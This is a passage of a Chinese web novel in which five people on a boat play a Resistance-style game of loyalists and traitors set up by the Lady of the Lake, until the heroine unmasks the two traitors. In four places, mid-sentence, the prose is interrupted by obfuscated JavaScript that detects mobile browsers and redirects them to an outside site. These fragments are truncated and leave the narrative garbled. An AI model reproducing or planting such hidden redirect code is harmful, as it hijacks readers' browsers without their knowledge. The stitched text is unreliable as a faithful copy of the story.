大约在行驶了三十分钟的位置,平静的湖面陡然腾起飓风,风声鬼哭狼嚎般传入耳朵,水波汹涌而起如突发海啸,小小的木船被裹挟其中上上下下摇晃不止,就快成大铁锅里翻炒的肉块。 “怎么回事啊?”詹姆斯惊呼。 “大家抓紧了!”董鑫喊。 船上几人不得不紧紧抓住桅杆以免被颠出去。 小个子力气小没抓住,整个人猛地朝一边滑去,壮汉在一瞬间抓住她盔甲后领,拎小猫似的把她牢牢拎在手里。 狂风刮得人睁不开眼睛,激荡的浪子打在脸上生疼,小船脆弱的木质结构更是发出近乎要断裂的声音,听得人心惊胆战! 玩这么大吗?这样下去船不得翻?那还玩什么? 骆桑刚在心头吐槽,诡异的事情就发生了 ——一顿狂轰乱炸后,整个世界又像突然被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557044|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了暂停键,所有的事物刹那间停止了运动:湖水冻结了,涌起的波浪维持着涌起的形状,小木船被一簇波浪托起,就这么倾斜着定在半空,空气也凝固了,风声骤停! “又……又怎么了?” 唯一能动的,只有船上5人。 【我将时间短暂停止了,但最多保持十分钟。】 这时,一个温柔的女声从船头方向传来,就在那里,一个头戴花环,长发飘飘,仙气萦绕的女子自湖面而出,升至半空。 【你们好,我是湖中仙女,我来帮助你们渡过这片湖。】 * 事情朝着更加诡异的方向发展了,不仅卡美洛的传说成了真,连传说里的各路牛鬼蛇神也都成了真! 船上几人面面相觑。 董鑫小声问詹姆斯:“大叔,亚瑟王的传说里有这一趴?” 詹姆斯还没压抑住怦怦直跳的心脏,喘着气说:“噢……是……是有个湖中仙女……” 【时间不多,请仔细听好。】 湖中仙女道:【想要渡过这片湖到达彼岸,需要经过5次风暴的考验,你们的船非常脆弱,每1次风暴都将折断1根桅杆。】 折断桅杆!? 船上立刻炸锅:“只有3跟桅杆,3次就都折断了,没了帆船只会漂回去,不可能过得了5次风浪!” 【不要着急,这正是我来的目的,我可以用魔法保护你们的船不受摧毁。但是……】 湖中仙女话锋一沉,【你们之中已有2个人暗中投敌,他们并不希望去到彼岸,只想带另外3人回到出发点,杀掉。】 【也就是说,你们5人之中,3人为忠诚者,2人为投敌者。】 ——!船上几人皆一惊。 有2个……叛徒? 呵,骆桑心头一笑。 果然,限定人数,不出所料的阵营战。 【魔法需要你们的助力才会生效,船才能得到保护。但投敌者希望魔法不生效,船被破坏。】 【如果成功渡过5次风浪去到彼岸,投敌者将会被处死。但如果船回到出发点,忠诚者将被杀。】 湖中仙女挥舞魔法棒,船头一字排开出现了5个锦囊,每个锦囊上都写着一个数字,从1到5依次递增。 【你们5人按照上船的顺序编为1号至5号,请各自取走对应号码的锦囊。】 突如其来的阵营分化砸得几人措手不及,刚刚才一同携手逃生登船的战友,怎么就…… 一时没人动。 骆桑是第3个上船的,她知道自己该拿3号,但她没动。 这种规则下,信任会在顷刻间崩塌,这个时候尽量不要冒头引起注意,让人觉得你有准备。 【还剩八分钟,请不要耽误时间。】湖中仙女催促。 “那……我第一个上的,我拿1号。”詹姆斯这才颤颤巍巍挪动脚步,走上前去把1号锦囊拿在了手里。 紧跟着,董鑫拿了2号。 然后是骆桑拿3号,之后是壮汉4号,小个子5号。 都拿完后,湖中仙女道:【忠诚者的锦囊里只有数个白色鹅卵石,而投敌者的锦囊里一半是白色鹅卵石,一半是黑色鹅卵石。】 【每一次风浪,我都需要收取一定数量的白色鹅卵石来帮助魔法生效,5次风浪需要的数量依次为:2个,3个,2个,3个,3个。】 【每一次,你们需要用投票的方式选出对应数量的人来向我提供鹅卵石,选出的人每人提供1枚鹅卵石。如果我收到的鹅卵石全为白色,则魔法生效,而但凡有一枚为黑色,魔法失效。】 【自己的锦囊只有自己能打开,只有自己能查看,向我提供的鹅卵石也只有自己知道是什么颜色。】 【现在,你们可以查看自己的锦囊,以确定自己是忠诚者,还是投敌者。】 这个规则骆桑很熟悉,简直就是为她量身定做。 嗨,这辈子看来做了不少好事,死后还真就来了天堂~ “噢上帝,我是忠诚者。”詹姆斯查看完后连连点头。 “太好了大叔,我的鹅卵石也都是白色的。”董鑫高兴地冲他笑。 壮汉和小个子都没吱声,各自默默查看,面无表情。 骆桑扫了一遍4人,最后打开自己的锦囊:齐刷刷一片白。 好的,忠诚者。 目标,去彼岸。 4. 迷岸4 【现在开始第1次选人。】 湖中仙女cue流程,【从1号开始提议人选,全员投票,过半即通过,即可向我提供鹅卵石。不过半则顺延由2号提议人选再次投票,不通过再顺延至3号,以此类推。】 【但请注意:如果连续2个人的提议都得不到通过,那么第3个人的提议无需投票直接通过。】 【第1次需要2个人,剩余时间五分钟,请在五分钟之内决定2个人选。】 “你来提议好啊大叔。”董鑫高高兴兴找到詹姆斯,“我们俩都是忠诚者,就我们俩呗。” 自湖中仙女宣布规则,詹姆斯就一直冷汗连连,此刻他攥着锦囊,手紧得发抖,第一次没有回应董鑫,好像都没听见似的。 “大叔?”董鑫拍拍他。 詹姆斯这才反应过来,看向董鑫。 他和董鑫已经有过不少愉快的交谈,但这一刻,他看董鑫的眼神是警惕的。 “我们俩……可以啊。”詹姆斯朝董鑫点头,话却说得勉勉强强,“只是其他人……” 他的视线依次从其余3人身上扫过,每一处都停留一下,仿佛只要看得够仔细,就能知道对方是什么身份。 看了一圈,他依然茫然,对董鑫说,“只有我们两人的话,票数不过半呀。” 是的,至少还得再拉一票。 董鑫点点头,转过来面相其余3人:“我是忠诚者,只能提供白色鹅卵石,请你们相信我。” 又指指詹姆斯,“我一直跟这位大叔在一起的,他人很好,我也相信他没有骗我,确实是忠诚者。” “拜托你们帮我们投投票吧。” 骆桑和壮汉都没吱声,一直没出声的小个子倒哼了一声,不屑道:“谁知道真假,我不同意。” 她看向詹姆斯,“1号,我不知道你是啥,但我是忠诚者,你得选我,选我我就投票。” 忠诚者多一人,票数占优,于是谁都会说自己是忠诚者,这些表述都是无证之词。 詹姆斯没有回应小个子,也没有立刻答应董鑫,他很犹豫。 【剩余时间三分钟。】 湖中仙女催促,【如果规定时间内没有票选出结果,将由我随机选择。】 “那肯定不行……”詹姆斯听后连连摇头,“随机不行,不行不行……” 他擦了把额上的汗,深吸一口气,终于正视董鑫,“那就先我们两个,投一次试试看吧。” 董鑫点头。 “哼,白猪!”小个子狠狠一个白眼,扭头靠到一边的桅杆上。 詹姆斯不管她,对湖中仙女道:“我是1号,我提议1号和2号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 5人各自转身面朝湖水,互不可见。 湖中仙女:【1号提议1号和2号,三、二、一、请投票。】 詹姆斯和董鑫都举了手,4号壮汉也举了,另外,骆桑也举了。 好歹在时间内完成了主动人选。 “谢谢谢谢。”两人都朝骆桑和壮汉道谢。 只有5号小个子没同意,一脸鄙视地又骂了声:“一群猪。” 湖中仙女:【投票通过,请1号和2号依次上前,将一枚鹅卵石投进箱子。】 船头出现了一个暗箱,能放个拳头进去,但看不见里面。 詹姆斯走过去,从锦囊里取出一枚鹅卵石投进暗箱。 整个过程都背对着所有人,没人能看见他投了什么样的鹅卵石。 他投完回来,紧张地看着董鑫:“白的,投白的。” 董鑫连连点头:“放心吧大叔。” 便也上前投了他的鹅卵石。 随即,湖中仙女挥舞魔法棒,暗箱顿时化做一道光,游走,展开,最终展成一个球形屏障将小木船包裹其中。 【好了,我将在下一次风暴时再来。】 【那么,祝各位好运。】 说完,湖中仙女沉入了湖水。 就在她消失的下一刻,时间的暂停键像是被谁忽然解除,十分钟前发飙到一半的风浪即刻续上弦,又呈摧枯拉朽之势接着在这片湖上造次。 然而神奇的是,光束形成的球形屏障完美充当了保护罩的角色,将所有的风浪隔绝在外,包裹着仅轻微震动的小木船在滔天大浪中稳稳穿行。 不被风吹,不被浪打,船上的人甚至不需要抓紧桅杆都能站稳。 小木船套着保护罩越过层层风浪,大约过去了十分钟,风浪开始慢慢停歇。当湖面重又平静如初时,球形屏障消失了。 而此刻,甲板上,三根桅杆都还牢牢伫立! “欧耶——!成了——!”董鑫大喜,两个肉乎乎的拳头在胸前紧紧一握,又拉着詹姆斯几乎要跳起来,“我们成了大叔!” 这紧张的十分钟,詹姆斯心脏都快跳出来,现在看到结果他几乎要喜极而泣,不停地念叨着:“太好了,太好了……谢谢你小董。” 另一边,壮汉依然双臂抱怀仿佛事不关己,而小个子却显然吃惊,半张着口愣了半分钟。 片刻后,小个子直径走到董鑫跟前:“胖子,下回是不是该你选人?” 胖子?这个称呼董鑫显然不乐意买账,瞥了她一眼,没搭理。 小个子:“下回要上3个人,既然你俩都是忠诚者,那简单,加我就欧了。” 董鑫上上下下打量小个子,没好脸地:“谁知道你是个啥。” 小个子:“我说了,忠!诚!者!” 董鑫不为所动:“不是骂我们猪么?现在怎么来舔了?” “……”小个子被噎了下。 这时,骆桑开口了:“下轮可以加我,我是忠诚者。” “呸!”小个子立马给她怼回去,“就只有3个忠诚者,他们占了2个,我是第3个,没有第4个了,你撒谎!” 哟,这咬人的小白兔还真挺凶。 骆桑回:“那你怎么证明你没有撒谎?” 小个子:“让我上一次就能证明!” 倒是说得没错,这个时候据理力争也争不出个什么结果,谁也无法说服谁,只能拿事实说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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湖中仙女:【投票通过,请1号、2号和5号依次上前,将一枚鹅卵石投进箱子。】 暗箱出现,詹姆斯和董鑫如法炮制很快投完了鹅卵石,小个子紧随其后,也干干脆脆完成了投石。 湖中仙女挥舞魔法棒,暗箱再度化作球形屏障将小木船包裹。 【好了,我将在下一次风暴时再来。】 【那么,祝各位好运。】 便再度消失。 风暴的继续如期而至,球形屏障也依旧担当着保护的职责,小木船悠闲地朝前漂着。 但骆桑紧紧抓着桅杆,她知道,这一次,不会有那么顺利。 球形屏障在强大的风压和水压中支撑出一片空间,但它看起来似乎没有上一次那么牢固,时不时被挤压出一个凹陷。然后,就在某一刻,它再无法支持一下子爆裂开,狂风卷着巨浪便瞬间席卷毫无遮挡的小木船! 小木船在风浪中跌跌撞撞近乎散架,没能坚持多久,“咔嚓”一声,一根桅杆,折断了。 5. 迷岸5 强烈风暴中,小木船跌跌撞撞,一行人狼狈熬着,直到过去大约十分钟,风暴渐渐停歇,才终于能喘口气。 颠簸停止,甲板上断掉的一根桅杆便显得尤为刺眼,它的上半截连同那一面帆,已不知被狂风卷去了哪里。 剩下的两面帆还在工作,小木船还在前行。 “你果然是投敌者。”站直身体后,董鑫指着小个子。 小个子还跪趴在甲板上,听到声音抬起脸来,一脸的茫然,好像还没反应过来发生了什么。然后她转头,看到了就剩半截的桅杆,眼中的茫然渐渐变成不可置信。 “我……我投的白色呀……”她轻念出声。 没人应她。 她看看董鑫,董鑫对她耸了个肩:“反正,再也不会有人选你了。” 又看看詹姆斯,詹姆斯失望地摇着头。 小个子发了下呆,然后扶着桅杆站起来,看向詹姆斯和董鑫的眼神骤然从疑惑变为敌视:“艹,你们两个谁投的黑?谁丫的在装?” 董鑫一声冷笑:“少栽赃,自己露出了狐疑尾巴,还当大家是傻子呢。” 詹姆斯叹了口气,不做评价,转而对骆桑道:“骆小姐,接下来该你选人了吧,你要是忠诚者,就在我跟小董里选就可以了。” “放屁!”小个子蹭蹭蹭几步走到骆桑跟前把詹姆斯隔开,“你别听他放屁,我才是忠诚者,我只有白的,刚才的黑绝对是他们投的!是他们栽赃我!你要是好人就选我!” 董鑫:“呵呵,自己坏了事就胡搅蛮缠,真没品。我跟大叔明明都是好人,要不第一次怎么成功的?怎么可能信你。” 嘴炮战开启,骆桑一只耳朵听一边,暂时都没回应。 很快,第三波风暴来临,几人在风浪中等来了湖中仙女。 【现在开始第3次选人,从3号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定2个人选。】 骆桑沉默着思考,几人的视线都落在她身上,满是期待。 这一轮,她的选择很关键,她信谁,很关键。 “首先,我自己是忠诚者。”片刻后,骆桑道,“在我的视角,我选择自己,加一个我认为最像忠诚者的人,是最合理的。但如果这样,我想我很难获得3票支持,因为你们很难相信我,更难相信我对另一个人的判断。” “我相信你啊!”小个子强势插嘴,“只要你选我,我绝对投票!” 然后直奔参言最少的4号壮汉,“我不指望1和2,你给我们投一票我们就有3票了。” 壮汉瞥了眼小个子,依旧面无表情不置可否。 “你认真点,输了可是要死的!”小个子鞭挞他。 壮汉指尖挠挠脸,终于开金口吐出句回应:“但你没能证明你是忠诚者啊。” “……”小个子如遭雷击,半天没吭出声来。 她有些无助地再度把目光投向骆桑,期望骆桑能说点什么。 “我刚才没有说完。”骆桑的确把发言继续了下去,“看吧,已经折了一根桅杆的情况下,大家都会更加谨慎,更加难以相信别人,很难拉到票。” “首先带4是不可能的,他没有努力争取过,怎么都带不到他头上。5说信我,可带5的话,大概只有3、5两票。而带1和2的其中之一的话,因为1和2都未必信我,说不好最后只能获得我自己的1票。” 她看向詹姆斯,“你虽然向我发了邀请函,但就算我选你,投票的时候你也未必会举手。因为你和5号不同,5号别无选择,你那里却有着更优的选择,你只是不好意思开口向我提这个要求而已。” 詹姆斯没有反驳,默认了骆桑的说法。 “所以,2人组,只要有我3号在,就没有现实可行的解。” 骆桑露出无奈,“但如果在我这里投票无法通过,就要轮到4号来选人,4号的身份在我这里是纯未知,他会怎么选我完全无法预料。而且按照规则,如果4号也没能获得通过,5号就直接得到了点兵点将的权利,无需投票她随便选一个就作数,这……” “这还不好吗?我肯定选你啊!”小个子激动道,就差没大喊:让我选让我选! “……这风险太大了。”骆桑缓缓把后半句话说完,直接忽略掉了小个子插进来的话。 小个子满眼的期待迅速冷却。 “所以,我一定要在我的这轮把人选定下来。” 骆桑总结,“所以,我不能选我自己,我只能选已经成功过一次的,1号和2号。” ——!晴天霹雳,小个子连连往后退了好几步。 骆桑:“1号和2号的组合目前公信力最高,1号和2号也相互信任,这样选的话,最起码能获得1、2、3三票,包通过。” “并且,包成功。” “狗屁……”小个子气得笑了起来,“哈哈哈……大猪头。” 骆桑全然不受打扰,继续着自己的思路:“我算过,只要1号和2号再成功一次,忠诚者方就是包赢。” “总共5次选人,2次选2人,3次选3人,我们运气好,选到了两个忠诚者来组2人组,成功过掉2次风暴,那么剩下的3次风暴只需要依次测验剩下的3人即可。” “剩下的3人出1个忠诚者,两次失败的机会,最差先失败2次,第3次也肯定就能对了。我们现在排除了5,之后再在我跟4里面排除一个就可以了。” 她看向詹姆斯和董鑫,郑重地问:“我算得没错吧,只要你们两个再成功一次,忠诚者方是不是就必赢?” 詹姆斯连连点头:“对对对,骆小姐说得对,是这样的。那我们已经赢了啊!” 董鑫也认可,握着肉拳头似要提前庆祝胜利。 “哈哈哈哈——!”小个子爆笑,“那你们就等死吧!到时候看看那两头猪究竟是谁,看你们怎么把自己给蠢死!我反正不怕死!” 说着,“啪”地一声把自己的锦囊摔在甲板上,转身走到船尾,一副“老娘不陪你们玩了”的架势。 董鑫:“呵,骗不到人气急败坏。” 骆桑权当没听见,对湖中仙女道:“我是3号,我提议1号和2号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 5号撂挑子不干了,4人各自转身准备投票。 湖中仙女:【3号提议1号和2号,三、二、一、请投票。】 还在参与对局的4人全都投票了。 湖中仙女:【投票通过,请1号和2号依次上前,将一枚鹅卵石投进箱子。】 皆大欢喜,詹姆斯和董鑫第三次投石。 之后的流程同前两次一样,球形屏障形成后,湖中仙女丢下两句话便消失,小木船继续接受风暴的洗礼。 骆桑静静坐在甲板上,面色微沉,只在一个瞬间瞥了眼独自呆在船尾的小个子。 十分钟,平稳度过,小木船安好,剩下的两根桅杆依然□□。 第3次组队,成功。 “赢了赢了,已经赢了!”董鑫止不住笑意横飞。 这次该4号壮汉选人了,詹姆斯对他说:“那么,你就选1、2、4吧。” “选1、2、3吧。”骆桑却把话截抢了去,“为了保证成功,上一轮我都没选自己,我肯定比4号更像忠诚者。” 她转向詹姆斯和董鑫,“我比4号优先,应该先上,对的吧,1号和2号?” 两人互看一眼,然后詹姆斯坦言:“骆小姐,和4号相比,我确实更相信你,你在为忠诚者方赢而努力。只要4号选1、2、3,我会投票。” 董鑫跟着点头:“我也会投票。” 骆桑笑了,对壮汉道:“看吧,你要是执意让自己加入,1号和2号未必会投票。” 压力落到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557046|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮汉身上。 他没吱声,双臂横抱,手指在胳膊上一下下点弹。 没一会儿,第4次风暴准时来临,湖中仙女再度出现。 【现在开始第4次选人,从4号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定3个人选。】 壮汉冷漠的气场会让人自然而然远离,于是这是提议人选之前,最安静的一次。 足足两分钟,壮汉独自思索,没有人说话。 “你们必须投票。”两分钟后,壮汉对詹姆斯和董鑫说。 命令式的口吻。 “不投,就得5号来选人,你们想让她带队?” 一个重磅炸弹炸得詹姆斯和董鑫双双失语。 壮汉看都不看骆桑一眼,直径走到湖中仙女跟前。 “反正次数够,总能对一次,不如在我这里过一组,说不定成了呢?” “我是4号,我提议1号、2号和4号。” 这壮汉平时不说话,脑子其实清醒得很,不会做提议1、2、3这种认黑行为。 骆桑抿唇。 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 骆桑没有转身做投票准备。 湖中仙女:【4号提议1号、2号和4号,三、二、一、请投票。】 1、2、4都举了。 不出所料。 湖中仙女:【投票通过,请1号、2号和4号依次上前,将一枚鹅卵石投进箱子。】 投石完成后,湖中仙女消失,小木船在球形屏障的保护下前行。 颠簸,非常颠簸,球形屏障甚至都没能撑过一分钟就支离破碎。 第4次组队,失败。 平稳下来后,甲板上的桅杆只剩最后一根。 最后一根桅杆,最后一次组队,胜败在此一举。 “好了,4是投敌者,就只剩1、2、3了。”董鑫说。 詹姆斯:“可问题是……”他看向船尾。 问题是,这回轮到5号小个子选人了,她却半点没有要回来担起职责的意思,背对着几人悠闲地坐在船尾,而她丢掉的锦囊还孤零零地躺在甲板上。 骆桑想,这游戏可真够敬业,这么大的风浪都没给那锦囊卷走。 “小姑娘,你可以按照你的想法来选人。”詹姆斯试图同小个子交谈。 却没有任何回应。 “哎呀这可麻烦了。”骆桑露出一脸焦急,“5号不来提议的话,就不能投票,不能通过组队也不能轮到下一个人提议,会一直卡在这里。” “一直卡在这里会怎么样呢?”詹姆斯有点慌。 骆桑:“肯定是等到时间截止被随机选择呀!随机选择怎么可能选到3个对的?要是选到5号她连鹅卵石都不投怎么办?” ——!这可真是最大的坏消息! “那肯定不行!绝对不能随机!”詹姆斯和董鑫都慌了起来,“那怎么办?” 骆桑皱着眉抱怨:“小小年纪脾气怎么这么臭?算了,是我非要选1、2才把她气跑的,也该我来想办法。” 她走过去捡起小个子扔掉的锦囊,“你们等等,我去把她哄回来。” 啊?这……还能哄回来? 詹姆斯和董鑫面面相觑。 骆桑端着笑走到船尾,并排坐到小个子身旁,很贴心地把锦囊往她手里塞。 另外3人都在船头这边,隔出了一段距离,都很好奇这要怎么哄,但没人冒然过去听一耳朵。3人都是汉子,船尾那情形像姐妹俩在说私房话似的,不好去打扰,更怕弄巧成拙坏了3号的主意。 的确是在说私房话,小个子原本十分拒绝,伸手就要把锦囊推开,张口就要骂,却听骆桑用极低的音量在她耳边悄声说: “我知道你是忠诚者。想赢吗?想赢就听我的。” 6. 迷岸6 小个子提溜着锦囊走回船头时,3个汉子都惊了。 不到五分钟,这就给哄回来了? “3号承认她是猪了。”小个子有种翻身做主的得意,那眼神和那站姿仿佛都在说:你们终于发现我是对的回来求我了吧。 “对对对,是我猪了。”骆桑只管赔笑。 詹姆斯和董鑫:“……” “时间不多了,快选人吧。”骆桑催促。 小个子白她一眼,吊着嗓子:“1号和2号我一个都不信,在我眼里他们两个都是投敌者。他们就是故意的,只有他们两个的时候就投白,骗人相信他们是忠诚者,但只要加了别人就投黑,加谁就污谁。” “所以我这里只有一种提议:3、4、5。” 3、4、5?! 这串数字一念出来,好几人都要惊掉下巴。 骆桑替她着急:“妹子,你这样选人的话,谁给你投票呀?” 壮汉依旧不表态,董鑫撇撇嘴耸了个肩,詹姆斯甚至失笑:“这玩笑开得可真是……” 但他们都很淡定,反正5号只是完成选人,投票通不过也是白瞎,接着1号再选就是。 这显然无人响应。 “急毛线。”小个子却不慌,“我先来说个硬道理,说给在场的忠诚者听,想活命就给我仔细听好。” “你们有没有算过,让随机选的话,5个人里精准选出3个忠诚者的概率是多少?我算了,3/5乘以2/4乘以1/3等于1/10,非常非常低。” “这么低的概率,要我是投敌者,我肯定乐意随机。所以3号苦口婆心劝我回来选人,她就100%是忠诚者。这一点你们认不认?” 詹姆斯跟着算了下概率,点头道:“没错,随机选对的概率极低,你说得有道理,3号这么做,就肯定是忠诚者。” 董鑫不屑:“本来就只剩3号是忠诚者了呀,算这个有什么意义?” “怎么没有意义?” 小个子两步站到那二人跟前,身板娇小却气场十足,铿锵有力地质问他俩道,“不是一个道理吗,我请问,如果我是投敌者,为什么要回来选人?3号凭什么劝得动我?我回来这个行为,难道不足以证明我是忠诚者吗?” “……!”詹姆斯和董鑫皆在一瞬间无言。 小个子:“我是忠诚者,被两个猪队友给气死了,打定主意不回来的,反正不相信我就赢不了,不如让湖中仙女随机选,让这两头猪去死。” “但是3号告诉我,只要我回来,无论选谁,只要选了人没让随机,忠诚者的赢面都会大大提高,我就会成为100%的忠诚者,同伴必须信我。” “我想了想,是这么回事,于是就回来了。” 船上的气氛忽地变得紧张起来,这种紧张不是来源于这至关重要的选人,而是来源于一直和谐共处走到此刻,友谊的桥梁却马上要崩塌的两个人 ——詹姆斯和董鑫,自第一轮成功过后就以双好人自居,但如果3号和5号占掉了2个忠诚者的坑,那么…… 忽然间,他们看向彼此的眼神,盈上疑惑,怀疑,和恐惧。 “忠诚者的赢面,大概可以这么算。” 小个子继续,“只要我选了人,我和3号就都证明了忠诚者的身份,那么1、2、4中就只剩1个忠诚者,这一点是确定的。” “我3选1选一个我相信的,也就是3、4、5,如果4真是最后那个忠诚者,他会投票,而只要3也相信他,也投了,就是3票通过,就能赢。” “而如果4不是,那么1、2中就还有一个忠诚者,那个忠诚者一定不会投票,而这个时候如果3也没投,那投票就不能通过,1、2中的那个忠诚者就还有机会选人,就看谁能说动我和3号了。” “所以算来算去的关键点就是……” 小个子看向骆桑,“3号会不会投这一票。” “啊?” 忽然被cue到,骆桑面露紧张,“要我来决定吗?4号……emm……” 她注视着壮汉,托着下巴,好似十分为难。 那表情看起来,她投票的可能性不大。 “反正我就这么选了,过不过你决定吧。” 小个子也不劝,干干脆脆向湖中仙女报告,“我是5号,我提议3号、4号和5号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 至关重要的一轮投票,所有人都仔细做好投票准备。 湖中仙女:【5号提议3号、4号和5号,三、二、一、请投票。】 举着手的人转回身看票时,整个人都石化。 董鑫举着一只手忙着数票,可他怎么数都数不出3张,只有两只手举着,除了他,另一只手是4号的。 3、4、5的人选,投票者为2和4,5号提出的人选,她自己,却没投…… 看到票型的瞬间,董鑫的脸刷地白了,他愣呆呆地看向没举手的5号,满眼都是诧异和惊恐。 4号壮汉也呆住了,同时看向5号小个子。 而同样看到投票结果的骆桑,嘴角悄然弯起一个弧度,小声吐出三个俏皮的字: “逮到了~” * 风暴涌起的湖面还处在凝固状态,静止的浓雾包裹着小木船,而船上的气氛更加凝固,于是整艘船,连同船上的人,都像被冻在了一块干冰里。 湖中仙女:【投票未通过,未通过次数为1次。】 【请继续选人,从1号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 听到提醒,詹姆斯从愣神中反应过来,朝一边移了两步。 他看见了董鑫举着的手,他在,远离董鑫。 董鑫浑身都在抖,两排牙齿上下打颤,怎么努力都吐不出一个字来。 3、4、5组队,他2号投了同意,这是认黑,没得洗了。 “妹子真厉害,干得漂亮。”骆桑冲小个子鼓掌。 不料被小个子嫌弃:“少卖乖,明明是你让我这么说的。” 这下几人更震惊了,齐齐看向骆桑。 都是……3号的安排? 全场注视下,骆桑收起玩笑,往前两步,站到正中。 宽大的铁网状盔甲里,她的身型更显清瘦,但脚步却从容,目光平稳而坚定。 “这个对局的规则,十分类似于我从前玩过的一个多人游戏:《抵抗组织》。” 骆桑从头道来,“游戏分为蓝方和红方,蓝方类似于我们的忠诚者方,而红方类似于投敌者方。组队做任务,蓝方必须投支持,红方可投支持可投反对,只要有一票反对,任务即失败。5轮任务,成功3次蓝方胜,失败3次红方胜。” “是不是一模一样?” “这种阵营对抗的游戏,设计者必须考虑平衡性,否则一方明显强于另一方,游戏就没有可玩性。选择组队都是投票制,票数过半组队才能通过,然而蓝方比红方人多,比如我们这个局是3:2,蓝方在投票上明显占优。” “那要怎么来平衡游戏呢?最有效的办法就是制造信息差。蓝方虽然人多,却信息少,互相不认识,容易相互怀疑一盘散沙;红方虽然人少,却彼此知道,能配合得起来。” “这样,就公平了。” “在我玩过的阵营对抗游戏里,一般都会在游戏开始时有一个天黑闭眼的环节,红方就是在这个时候互相确认身份的。可在我们这个对局里,却没有这一趴,每人领到属于自己的锦囊确认好身份后,就直接开始选人了。” “我就一直觉得奇怪,两个投敌者,难道真的互相不知道对方是谁吗?” “我实在不敢这么相信,于是我开始怀疑,这一趴是不是被挪到了游戏开始之前。也就是说,在我们上船之前,投敌者就已经定好了,并且已经互认。” “好家伙,这么一盘,一堆之前就觉得奇怪的细节全给串起来了,也全都变得合理。” 骆桑用审视的目光看向董鑫:“第一次觉得奇怪,是你帮助詹姆斯逃上船,你明明没什么战斗力,干不过那些拿剑的,自己能跑掉就不错了,非要带一个行动迟缓的病人,这也太老好人了吧。” “第二次觉得奇怪,是4号带来一大群杀手时,我跟詹姆斯忙着研究怎么开船,你却似乎一点都不着急,反而更希望等4号和他带着的那个人上船。就好像你事先就知道这船开不了,得等人齐了自动开。” “当然这只是些小疑惑,并不能证明什么,可4号……就更奇怪了。” 她转向壮汉:“之前投湖的那个疯子就是你带上来的,论外貌你们可能生活在不同的大洲,论言行更是风马牛不相及。毫无交集,你却帮助他上船,在他投湖的时候反应也很大,当时是想阻止他跳下去对吧?” “后来船回去了,你又下船去找了个人来,就好像你知道,船上必须有5个人。” “你不仅知道船上必须有5个人,你还知道这船只能有5个人,第6个人,上不来。” 听骆桑这么一说,詹姆斯和小个子也都回想起了当时的情形。那个后来的逃生者被阻挡在了船舷之外,没能上船,死在了那里。 “5号速度慢,你带着5号本来是慢慢走的。” 骆桑继续,“可你看到了另一个人要上船,他的速度更快,于是你用暴力把5号扛起来就跑,赶在那人之前上了船。” “之后我问你,是不是知道得凑齐5个人船才会开,你都不理别人却理了我的这个问题,回答说不知道。你是怕泄露你有更多信息这个事实吧?” 壮汉硕大的拳头悄然握紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆桑继续,“没错吧,就算我说出对局平衡性的逻辑和我发现的那些疑点,你们顶多认为4号可疑,1号和2号里还是分不清。” “毕竟,2号身上的疑点本身就不明显,再加上在整局游戏里,他和1号的行为完全一致,4对待他们二人的态度和投票也没有任何分别,这很难100%地肯定1号和2号里的那个究竟是谁。” “1、2总是绑定在一起,那就必须找到一个办法把他们两个区别出来。” “于是我让5号选3、4、5,并用概率的逻辑强行占掉两个忠诚者的坑位,强行把1、2拆伙。这样2会担心,如果3、4、5没有通过,轮到1时,1不会再选自己,而是会提议1、3、5。” “这样一来,直接让3、4、5通过,就成了投敌者团队的最优解,毕竟4在队里,他来出黑就行,避免夜长梦多。” “这个时候,我又营造出了一种我不会投票的假象,让2担心只有4、5两票无法通过。反正最后一轮了,暴露也就暴露了,只要3、4、5一通过,投敌者方就是直线胜利。他想不到,其实5并不会投票。” “于是,2就冲了。” * 董鑫的这一举让他暴露无疑,2、4团队就这么裸了出来,无处可藏。 他听着骆桑陈述的这一席话,整个人如坠冰窖。 他完了。 